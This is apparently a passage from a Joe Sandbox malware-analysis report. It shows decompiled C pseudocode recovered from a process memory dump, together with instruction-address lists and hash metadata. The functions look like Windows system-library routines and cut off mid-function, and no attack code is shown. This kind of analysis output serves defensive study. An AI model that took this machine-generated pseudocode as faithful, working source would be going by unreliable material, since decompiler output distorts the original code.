							_t229 =  *0xe96e48; // 0x0
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								L00DBFFB0(_t198, _t240, 0xe98608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E00DE00C2(0xe98608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x00dd20a0
0x00dd20a8
0x00dd20ad
0x00dd20b3
0x00dd20b8
0x00dd20c2
0x00dd20c7
0x00dd20cb
0x00dd20d2
0x00dd2263
0x00dd2266
0x00e15836
0x00e15836
0x00000000
0x00dd226c
0x00dd226c
0x00dd2270
0x00dd2274
0x00dd20e2
0x00dd20e2
0x00dd20e6
0x00dd20ee
0x00e157dc
0x00e157de
0x00e157ec
0x00e157ec
0x00e157f1
0x00e157f3
0x00e157f8
0x00000000
0x00e157f8
0x00e157e0
0x00e157e4
0x00e157ea
0x00000000
0x00000000
0x00000000
0x00e157ea
0x00dd20f4
0x00dd20f4
0x00dd20f8
0x00dd20f8
0x00dd20fc
0x00dd2100
0x00dd2106
0x00dd2201
0x00dd2206
0x00dd220b
0x00dd220e
0x00dd22a9
0x00dd22ac
0x00000000
0x00000000
0x00dd22b2
0x00dd22b5
0x00e15801
0x00e15806
0x00000000
0x00000000
0x00e15810
0x00e15815
0x00e15818
0x00000000
0x00000000
0x00e1581e
0x00dd22bb
0x00dd22bb
0x00dd2218
0x00dd2218
0x00dd221c
0x00dd2220
0x00dd2222
0x00dd22c2
0x00dd22c4
0x00dd22dc
0x00dd22dc
0x00dd22e1
0x00000000
0x00000000
0x00000000
0x00dd22e7
0x00dd22c8
0x00dd22cd
0x00dd22d3
0x00dd22d6
0x00e15823
0x00e15825
0x00e15827
0x00000000
0x00000000
0x00e1582d
0x00000000
0x00e1582d
0x00000000
0x00dd2228
0x00dd2228
0x00000000
0x00dd2228
0x00dd2222
0x00dd2214
0x00dd2214
0x00000000
0x00dd2114
0x00dd2114
0x00dd2114
0x00dd211a
0x00dd211c
0x00dd2348
0x00dd234d
0x00e15840
0x00e15845
0x00e15848
0x00e1584e
0x00e1584e
0x00e15848
0x00dd2353
0x00dd2355
0x00dd2388
0x00dd2388
0x00dd2368
0x00dd236a
0x00dd236c
0x00dd238f
0x00000000
0x00dd236e
0x00dd236e
0x00dd218e
0x00dd218e
0x00dd2191
0x00dd2195
0x00e15a03
0x00e15a06
0x00e15a0c
0x00e15a0f
0x00e15a11
0x00e15a13
0x00e15a13
0x00e15a19
0x00e15a1f
0x00000000
0x00dd219b
0x00dd219b
0x00dd21a0
0x00dd2282
0x00dd2284
0x00dd2284
0x00dd2284
0x00dd2284
0x00dd21a6
0x00dd21a9
0x00dd21ac
0x00dd21ae
0x00dd21b3
0x00dd228b
0x00dd2290
0x00dd2379
0x00dd2296
0x00dd2298
0x00dd2298
0x00dd2290
0x00dd21b9
0x00dd21be
0x00dd22a2
0x00dd22a2
0x00dd21c4
0x00dd21c8
0x00dd21cc
0x00dd21d0
0x00dd21d4
0x00dd21de
0x00dd21e3
0x00e15a29
0x00e15a2c
0x00000000
0x00000000
0x00e15a3b
0x00000000
0x00dd21e9
0x00dd21e9
0x00dd21e9
0x00dd21ee
0x00dd21f1
0x00e15a45
0x00e15a4b
0x00e15a52
0x00e15a58
0x00e15a5d
0x00e15a5f
0x00e15a71
0x00e15a61
0x00e15a6a
0x00e15a6a
0x00e15a76
0x00e15a79
0x00e15a7f
0x00e15a83
0x00e15a85
0x00e15a87
0x00e15a87
0x00e15a8c
0x00e15a91
0x00e15a97
0x00e15a9f
0x00e15aa0
0x00e15aa1
0x00e15aa6
0x00e15aab
0x00e15ab1
0x00e15ab3
0x00e15ab9
0x00e15aca
0x00e15ad4
0x00e15ad4
0x00e15ade
0x00e15ade
0x00e15aab
0x00e15a79
0x00e15a52
0x00dd21f7
0x00dd21f9
0x00dd21fe
0x00dd21fe
0x00dd21e3
0x00dd2195
0x00dd236c
0x00dd2122
0x00dd2122
0x00dd2124
0x00dd2231
0x00dd2236
0x00dd2236
0x00dd2238
0x00dd2238
0x00dd2240
0x00dd2242
0x00dd2244
0x00e159fc
0x00dd218c
0x00dd218c
0x00000000
0x00dd218c
0x00dd224a
0x00dd224f
0x00dd2256
0x00dd2304
0x00dd2309
0x00dd230f
0x00dd231e
0x00dd231e
0x00dd231e
0x00dd2320
0x00dd2325
0x00dd232a
0x00dd232c
0x00dd233e
0x00dd233e
0x00000000
0x00dd232c
0x00dd2311
0x00dd2317
0x00dd231a
0x00dd231c
0x00dd2380
0x00dd2380
0x00dd2380
0x00dd2384
0x00000000
0x00000000
0x00dd2386
0x00000000
0x00dd231c
0x00dd225c
0x00dd225c
0x00000000
0x00dd225c
0x00dd212a
0x00dd2134
0x00dd2138
0x00dd213d
0x00e15858
0x00e15863
0x00e15863
0x00e15867
0x00e1586a
0x00000000
0x00000000
0x00e1586c
0x00e1586c
0x00e15871
0x00e15875
0x00e15877
0x00e15997
0x00e1599c
0x00e159a1
0x00e159a7
0x00e159a7
0x00000000
0x00e159a7
0x00e1587d
0x00000000
0x00e1588b
0x00e1588b
0x00e15890
0x00e15892
0x00e15894
0x00e15899
0x00e1589b
0x00e158a0
0x00e158a0
0x00e158aa
0x00e158b2
0x00e158b6
0x00e158be
0x00e158c6
0x00e158c9
0x00e1590d
0x00e15917
0x00e1591a
0x00e1591c
0x00e15920
0x00e15928
0x00e1592a
0x00e1592c
0x00e1592e
0x00e1592e
0x00e158cb
0x00e158cd
0x00e158d8
0x00e158e0
0x00e158f4
0x00e158fe
0x00e158fe
0x00e1593a
0x00e1593e
0x00e15940
0x00e15942
0x00000000
0x00e15944
0x00e15944
0x00e15949
0x00e1594e
0x00e1594e
0x00e15953
0x00e1595b
0x00e15976
0x00e15976
0x00e1597a
0x00e1597f
0x00000000
0x00000000
0x00000000
0x00000000
0x00e15981
0x00e15981
0x00e15981
0x00e15983
0x00e15988
0x00e1598d
0x00e15991
0x00e15991
0x00000000
0x00e1595d
0x00e1595d
0x00e15963
0x00e15965
0x00000000
0x00000000
0x00000000
0x00000000
0x00e15967
0x00e15967
0x00e1596b
0x00e1596d
0x00000000
0x00000000
0x00e1596f
0x00e15971
0x00e15971
0x00e15974
0x00000000
0x00000000
0x00000000
0x00e15974
0x00000000
0x00e15967
0x00e1595b
0x00e15942
0x00e15863
0x00dd2143
0x00dd2143
0x00dd2149
0x00dd214f
0x00dd22f1
0x00dd22f6
0x00000000
0x00dd2173
0x00dd2173
0x00dd217d
0x00dd2181
0x00dd2186
0x00e159ae
0x00e159b2
0x00e159b5
0x00e159b7
0x00e159ba
0x00e159cd
0x00e159d1
0x00e159d5
0x00e159d9
0x00e159db
0x00000000
0x00000000
0x00e159dd
0x00e159dd
0x00e159e1
0x00e159e4
0x00e159e7
0x00e159ee
0x00e159ee
0x00e159f3
0x00e159f3
0x00000000
0x00dd2186
0x00dd214f
0x00dd2106
0x00dd2266
0x00dd20d8
0x00dd20da
0x00dd20e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2e79ab8d06364f992385fc6b2a848df9f921448e53827a432bb0971bfd69f6e
Instruction ID: 5575e52e013afe10b7f72d6d770c5ed79baed3fb923e2a138960bf0c3caa497f
Opcode Fuzzy Hash: d2e79ab8d06364f992385fc6b2a848df9f921448e53827a432bb0971bfd69f6e
Instruction Fuzzy Hash: C3F1F372608741DFD725CB28C8417BA7BE1AFE5314F18852EF895AB391D734D880CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00DBB090 Relevance: .4, Instructions: 405
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00DBB090(signed int _a4, signed int _a8, signed int _a12, signed int _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t117;
				signed int _t119;
				signed int _t120;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				signed int _t126;
				signed int _t134;
				signed int _t139;
				signed char _t143;
				signed int _t144;
				signed int _t146;
				signed int _t148;
				signed int* _t150;
				signed int _t152;
				signed int _t161;
				signed char _t165;
				signed int _t167;
				signed int _t170;
				signed int _t174;
				signed char _t177;
				signed int _t178;
				signed int _t181;
				signed int _t182;
				signed int _t187;
				signed int _t190;
				signed int _t192;
				signed int _t194;
				signed int _t196;
				signed int _t199;
				signed int _t202;
				signed int _t208;
				signed int _t211;

				_t182 = _a16;
				_t178 = _a8;
				_t161 = _a4;
				 *_t182 = 0;
				 *(_t182 + 4) = 0;
				_t5 = _t161 + 4; // 0x4
				_t117 =  *_t5 & 0x00000001;
				if(_t178 == 0) {
					 *_t161 = _t182;
					 *(_t161 + 4) = _t182;
					if(_t117 != 0) {
						_t117 = _t182 | 0x00000001;
						 *(_t161 + 4) = _t117;
					}
					 *(_t182 + 8) = 0;
					goto L43;
				} else {
					_t208 = _t182 ^ _t178;
					_t192 = _t208;
					if(_t117 == 0) {
						_t192 = _t182;
					}
					_t117 = _a12 & 0x000000ff;
					 *(_t178 + _t117 * 4) = _t192;
					if(( *(_t161 + 4) & 0x00000001) == 0) {
						_t208 = _t178;
					}
					 *(_t182 + 8) = _t208 | 0x00000001;
					if(_a12 == 0) {
						_t14 = _t161 + 4; // 0x4
						_t177 =  *_t14;
						_t117 = _t177 & 0xfffffffe;
						if(_t178 == _t117) {
							_t117 = _a4;
							 *(_t117 + 4) = _t182;
							if((_t177 & 0x00000001) != 0) {
								_t161 = _a4;
								_t117 = _t182 | 0x00000001;
								 *(_t161 + 4) = _t117;
							} else {
								_t161 = _t117;
							}
						} else {
							_t161 = _a4;
						}
					}
					if(( *(_t178 + 8) & 0x00000001) == 0) {
						L42:
						L43:
						return _t117;
					} else {
						_t19 = _t161 + 4; // 0x4
						_t165 =  *_t19 & 0x00000001;
						do {
							_t211 =  *(_t178 + 8) & 0xfffffffc;
							if(_t165 != 0) {
								if(_t211 != 0) {
									_t211 = _t211 ^ _t178;
								}
							}
							_t119 =  *_t211;
							if(_t165 != 0) {
								if(_t119 != 0) {
									_t119 = _t119 ^ _t211;
								}
							}
							_t120 = 0;
							_t121 = _t120 & 0xffffff00 | _t119 != _t178;
							_v8 = _t121;
							_t122 = _t121 ^ 0x00000001;
							_v16 = _t122;
							_t123 =  *(_t211 + _t122 * 4);
							if(_t165 != 0) {
								if(_t123 == 0) {
									goto L20;
								}
								_t123 = _t123 ^ _t211;
								goto L13;
							} else {
								L13:
								if(_t123 == 0 || ( *(_t123 + 8) & 0x00000001) == 0) {
									L20:
									_t194 = _v16;
									if((_a12 & 0x000000ff) != _v8) {
										_t126 =  *(_t182 + 8) & 0xfffffffc;
										_t167 = _t165 & 1;
										_v12 = _t167;
										if(_t167 != 0) {
											if(_t126 != 0) {
												_t126 = _t126 ^ _t182;
											}
										}
										if(_t126 != _t178) {
											L83:
											_t178 = 0x1d;
											asm("int 0x29");
											goto L84;
										} else {
											_t126 =  *(_t178 + _t194 * 4);
											if(_t167 != 0) {
												if(_t126 != 0) {
													_t126 = _t126 ^ _t178;
												}
											}
											if(_t126 != _t182) {
												goto L83;
											} else {
												_t126 =  *(_t211 + _v8 * 4);
												if(_t167 != 0) {
													if(_t126 != 0) {
														_t126 = _t126 ^ _t211;
													}
												}
												if(_t126 != _t178) {
													goto L83;
												} else {
													_t77 = _t178 + 8; // 0x8
													_t150 = _t77;
													_v20 = _t150;
													_t126 =  *_t150 & 0xfffffffc;
													if(_t167 != 0) {
														if(_t126 != 0) {
															_t126 = _t126 ^ _t178;
														}
													}
													if(_t126 != _t211) {
														goto L83;
													} else {
														_t202 = _t211 ^ _t182;
														_t152 = _t202;
														if(_t167 == 0) {
															_t152 = _t182;
														}
														 *(_t211 + _v8 * 4) = _t152;
														_t170 = _v12;
														if(_t170 == 0) {
															_t202 = _t211;
														}
														 *(_t182 + 8) =  *(_t182 + 8) & 0x00000003 | _t202;
														_t126 =  *(_t182 + _v8 * 4);
														if(_t170 != 0) {
															if(_t126 == 0) {
																L58:
																if(_t170 != 0) {
																	if(_t126 != 0) {
																		_t126 = _t126 ^ _t178;
																	}
																}
																 *(_t178 + _v16 * 4) = _t126;
																_t199 = _t178 ^ _t182;
																if(_t170 != 0) {
																	_t178 = _t199;
																}
																 *(_t182 + _v8 * 4) = _t178;
																if(_t170 == 0) {
																	_t199 = _t182;
																}
																 *_v20 =  *_v20 & 0x00000003 | _t199;
																_t178 = _t182;
																_t167 =  *((intOrPtr*)(_a4 + 4));
																goto L21;
															}
															_t126 = _t126 ^ _t182;
														}
														if(_t126 != 0) {
															_t167 =  *(_t126 + 8);
															_t194 = _t167 & 0xfffffffc;
															if(_v12 != 0) {
																L84:
																if(_t194 != 0) {
																	_t194 = _t194 ^ _t126;
																}
															}
															if(_t194 != _t182) {
																goto L83;
															}
															if(_v12 != 0) {
																_t196 = _t126 ^ _t178;
															} else {
																_t196 = _t178;
															}
															 *(_t126 + 8) = _t167 & 0x00000003 | _t196;
															_t170 = _v12;
														}
														goto L58;
													}
												}
											}
										}
									}
									L21:
									_t182 = _v8 ^ 0x00000001;
									_t126 =  *(_t178 + 8) & 0xfffffffc;
									_v8 = _t182;
									_t194 = _t167 & 1;
									if(_t194 != 0) {
										if(_t126 != 0) {
											_t126 = _t126 ^ _t178;
										}
									}
									if(_t126 != _t211) {
										goto L83;
									} else {
										_t134 = _t182 ^ 0x00000001;
										_v16 = _t134;
										_t126 =  *(_t211 + _t134 * 4);
										if(_t194 != 0) {
											if(_t126 != 0) {
												_t126 = _t126 ^ _t211;
											}
										}
										if(_t126 != _t178) {
											goto L83;
										} else {
											_t167 = _t211 + 8;
											_t182 =  *_t167 & 0xfffffffc;
											_v20 = _t167;
											if(_t194 != 0) {
												if(_t182 == 0) {
													L80:
													_t126 = _a4;
													if( *_t126 != _t211) {
														goto L83;
													}
													 *_t126 = _t178;
													L34:
													if(_t194 != 0) {
														if(_t182 != 0) {
															_t182 = _t182 ^ _t178;
														}
													}
													 *(_t178 + 8) =  *(_t178 + 8) & 0x00000003 | _t182;
													_t139 =  *((intOrPtr*)(_t178 + _v8 * 4));
													if(_t194 != 0) {
														if(_t139 == 0) {
															goto L37;
														}
														_t126 = _t139 ^ _t178;
														goto L36;
													} else {
														L36:
														if(_t126 != 0) {
															_t167 =  *(_t126 + 8);
															_t182 = _t167 & 0xfffffffc;
															if(_t194 != 0) {
																if(_t182 != 0) {
																	_t182 = _t182 ^ _t126;
																}
															}
															if(_t182 != _t178) {
																goto L83;
															} else {
																if(_t194 != 0) {
																	_t190 = _t126 ^ _t211;
																} else {
																	_t190 = _t211;
																}
																 *(_t126 + 8) = _t167 & 0x00000003 | _t190;
																_t167 = _v20;
																goto L37;
															}
														}
														L37:
														if(_t194 != 0) {
															if(_t139 != 0) {
																_t139 = _t139 ^ _t211;
															}
														}
														 *(_t211 + _v16 * 4) = _t139;
														_t187 = _t211 ^ _t178;
														if(_t194 != 0) {
															_t211 = _t187;
														}
														 *(_t178 + _v8 * 4) = _t211;
														if(_t194 == 0) {
															_t187 = _t178;
														}
														_t143 =  *_t167 & 0x00000003 | _t187;
														 *_t167 = _t143;
														_t117 = _t143 | 0x00000001;
														 *_t167 = _t117;
														 *(_t178 + 8) =  *(_t178 + 8) & 0x000000fe;
														goto L42;
													}
												}
												_t182 = _t182 ^ _t211;
											}
											if(_t182 == 0) {
												goto L80;
											}
											_t144 =  *(_t182 + 4);
											if(_t194 != 0) {
												if(_t144 != 0) {
													_t144 = _t144 ^ _t182;
												}
											}
											if(_t144 == _t211) {
												if(_t194 != 0) {
													_t146 = _t182 ^ _t178;
												} else {
													_t146 = _t178;
												}
												 *(_t182 + 4) = _t146;
												goto L34;
											} else {
												_t126 =  *_t182;
												if(_t194 != 0) {
													if(_t126 != 0) {
														_t126 = _t126 ^ _t182;
													}
												}
												if(_t126 != _t211) {
													goto L83;
												} else {
													if(_t194 != 0) {
														_t148 = _t182 ^ _t178;
													} else {
														_t148 = _t178;
													}
													 *_t182 = _t148;
													goto L34;
												}
											}
										}
									}
								} else {
									 *(_t178 + 8) =  *(_t178 + 8) & 0x000000fe;
									_t182 = _t211;
									 *(_t123 + 8) =  *(_t123 + 8) & 0x000000fe;
									_t174 = _a4;
									_t117 =  *(_t211 + 8);
									_t181 = _t117 & 0xfffffffc;
									if(( *(_t174 + 4) & 0x00000001) != 0) {
										if(_t181 == 0) {
											goto L42;
										}
										_t178 = _t181 ^ _t211;
									}
									if(_t178 == 0) {
										goto L42;
									}
									goto L17;
								}
							}
							L17:
							 *(_t211 + 8) = _t117 | 0x00000001;
							_t40 = _t174 + 4; // 0x4
							_t117 =  *_t178;
							_t165 =  *_t40 & 0x00000001;
							if(_t165 != 0) {
								if(_t117 != 0) {
									_t117 = _t117 ^ _t178;
								}
							}
							_a12 = _t211 != _t117;
						} while (( *(_t178 + 8) & 0x00000001) != 0);
						goto L42;
					}
				}
			}

0x00dbb095
0x00dbb09b
0x00dbb09f
0x00dbb0a5
0x00dbb0a7
0x00dbb0aa
0x00dbb0ad
0x00dbb0b1
0x00dbb3f8
0x00dbb3fa
0x00dbb3ff
0x00dbb419
0x00dbb41b
0x00dbb41b
0x00dbb401
0x00000000
0x00dbb0b7
0x00dbb0b9
0x00dbb0bc
0x00dbb0c0
0x00dbb0c2
0x00dbb0c2
0x00dbb0c4
0x00dbb0c8
0x00dbb0cf
0x00dbb0d1
0x00dbb0d1
0x00dbb0da
0x00dbb0dd
0x00dbb0df
0x00dbb0df
0x00dbb0e4
0x00dbb0e9
0x00dbb3e2
0x00dbb3e5
0x00dbb3eb
0x00e0a676
0x00e0a67b
0x00e0a67d
0x00dbb3f1
0x00dbb3f1
0x00dbb3f1
0x00dbb0ef
0x00dbb0ef
0x00dbb0ef
0x00dbb0e9
0x00dbb0f6
0x00dbb28d
0x00dbb28e
0x00dbb293
0x00dbb0fc
0x00dbb0fc
0x00dbb101
0x00dbb104
0x00dbb107
0x00dbb10c
0x00e0a687
0x00e0a68d
0x00e0a68d
0x00e0a687
0x00dbb112
0x00dbb116
0x00e0a696
0x00e0a69c
0x00e0a69c
0x00e0a696
0x00dbb120
0x00dbb121
0x00dbb124
0x00dbb127
0x00dbb12a
0x00dbb12d
0x00dbb132
0x00e0a6a5
0x00000000
0x00000000
0x00e0a6ab
0x00000000
0x00dbb138
0x00dbb138
0x00dbb13a
0x00dbb193
0x00dbb197
0x00dbb19d
0x00dbb29c
0x00dbb29f
0x00dbb2a2
0x00dbb2a7
0x00e0a6d2
0x00e0a6d8
0x00e0a6d8
0x00e0a6d2
0x00dbb2af
0x00dbb420
0x00dbb422
0x00dbb423
0x00000000
0x00dbb2b5
0x00dbb2b5
0x00dbb2ba
0x00e0a6e1
0x00e0a6e7
0x00e0a6e7
0x00e0a6e1
0x00dbb2c2
0x00000000
0x00dbb2c8
0x00dbb2cb
0x00dbb2d0
0x00e0a6f0
0x00e0a6f6
0x00e0a6f6
0x00e0a6f0
0x00dbb2d8
0x00000000
0x00dbb2de
0x00dbb2de
0x00dbb2de
0x00dbb2e1
0x00dbb2e6
0x00dbb2eb
0x00e0a6ff
0x00e0a705
0x00e0a705
0x00e0a6ff
0x00dbb2f3
0x00000000
0x00dbb2f9
0x00dbb2fb
0x00dbb2fd
0x00dbb301
0x00dbb303
0x00dbb303
0x00dbb308
0x00dbb30b
0x00dbb310
0x00dbb312
0x00dbb312
0x00dbb31c
0x00dbb322
0x00dbb327
0x00e0a70e
0x00dbb335
0x00dbb337
0x00e0a71d
0x00e0a723
0x00e0a723
0x00e0a71d
0x00dbb340
0x00dbb345
0x00dbb349
0x00e0a72a
0x00e0a72a
0x00dbb352
0x00dbb357
0x00dbb359
0x00dbb359
0x00dbb365
0x00dbb367
0x00dbb36c
0x00000000
0x00dbb36c
0x00e0a714
0x00e0a714
0x00dbb32f
0x00dbb3b8
0x00dbb3bd
0x00dbb3c4
0x00dbb425
0x00dbb427
0x00dbb429
0x00dbb429
0x00dbb427
0x00dbb3c8
0x00000000
0x00000000
0x00dbb3ce
0x00dbb42f
0x00dbb3d0
0x00dbb3d0
0x00dbb3d0
0x00dbb3d7
0x00dbb3da
0x00dbb3da
0x00000000
0x00dbb32f
0x00dbb2f3
0x00dbb2d8
0x00dbb2c2
0x00dbb2af
0x00dbb1a3
0x00dbb1a9
0x00dbb1af
0x00dbb1b2
0x00dbb1b5
0x00dbb1b8
0x00e0a733
0x00e0a739
0x00e0a739
0x00e0a733
0x00dbb1c0
0x00000000
0x00dbb1c6
0x00dbb1c8
0x00dbb1cb
0x00dbb1ce
0x00dbb1d3
0x00e0a742
0x00e0a748
0x00e0a748
0x00e0a742
0x00dbb1db
0x00000000
0x00dbb1e1
0x00dbb1e1
0x00dbb1e6
0x00dbb1e9
0x00dbb1ee
0x00e0a751
0x00dbb409
0x00dbb409
0x00dbb40e
0x00000000
0x00000000
0x00dbb410
0x00dbb22d
0x00dbb22f
0x00e0a790
0x00e0a796
0x00e0a796
0x00e0a790
0x00dbb23d
0x00dbb243
0x00dbb248
0x00e0a79f
0x00000000
0x00000000
0x00e0a7a5
0x00000000
0x00dbb24e
0x00dbb24e
0x00dbb250
0x00dbb374
0x00dbb379
0x00dbb37e
0x00e0a7ae
0x00e0a7b4
0x00e0a7b4
0x00e0a7ae
0x00dbb386
0x00000000
0x00dbb38c
0x00dbb38e
0x00e0a7bd
0x00dbb394
0x00dbb394
0x00dbb394
0x00dbb39b
0x00dbb39e
0x00000000
0x00dbb39e
0x00dbb386
0x00dbb256
0x00dbb258
0x00e0a7c6
0x00e0a7cc
0x00e0a7cc
0x00e0a7c6
0x00dbb261
0x00dbb266
0x00dbb26a
0x00e0a7d3
0x00e0a7d3
0x00dbb273
0x00dbb278
0x00dbb27a
0x00dbb27a
0x00dbb281
0x00dbb283
0x00dbb285
0x00dbb287
0x00dbb289
0x00000000
0x00dbb289
0x00dbb248
0x00e0a757
0x00e0a757
0x00dbb1f6
0x00000000
0x00000000
0x00dbb1fc
0x00dbb201
0x00e0a760
0x00e0a766
0x00e0a766
0x00e0a760
0x00dbb209
0x00dbb3a8
0x00e0a76f
0x00dbb3ae
0x00dbb3ae
0x00dbb3ae
0x00dbb3b0
0x00000000
0x00dbb20f
0x00dbb20f
0x00dbb213
0x00e0a778
0x00e0a77e
0x00e0a77e
0x00e0a778
0x00dbb21b
0x00000000
0x00dbb221
0x00dbb223
0x00e0a787
0x00dbb229
0x00dbb229
0x00dbb229
0x00dbb22b
0x00000000
0x00dbb22b
0x00dbb21b
0x00dbb209
0x00dbb1db
0x00dbb142
0x00dbb142
0x00dbb146
0x00dbb148
0x00dbb14c
0x00dbb14f
0x00dbb154
0x00dbb15b
0x00e0a6b4
0x00000000
0x00000000
0x00e0a6ba
0x00e0a6ba
0x00dbb163
0x00000000
0x00000000
0x00000000
0x00dbb163
0x00dbb13a
0x00dbb169
0x00dbb16b
0x00dbb16e
0x00dbb171
0x00dbb175
0x00dbb178
0x00e0a6c3
0x00e0a6c9
0x00e0a6c9
0x00e0a6c3
0x00dbb180
0x00dbb184
0x00000000
0x00dbb104
0x00dbb0f6

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction ID: fb1ad25ffa632b3b546b1cb095bd086ba87636696676b4853b3dbdc8d2fb836f
Opcode Fuzzy Hash: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction Fuzzy Hash: D6D1C331B14716CBCB21CE69C5807AAB7E1AF95378B2C816ADC96CB381E7B1DC419760

Uniqueness

Uniqueness Score: -1.00%

Function 00DBD5E0 Relevance: .4, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E00DBD5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0xe9d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = L00DB6600(0xe952d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0xe97b9c; // 0x0
							_t281 = L00DC4620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E00DEF3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0xe97b90; // 0x77cf0000
								if(_t384 == 0) {
									_t353 =  *0xe97b8c; // 0x872a28
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E00DC2280(_t200, 0xe984d8);
									_t277 =  *0xe985f4; // 0x872f18
									_t351 =  *0xe985f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x872eb0
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
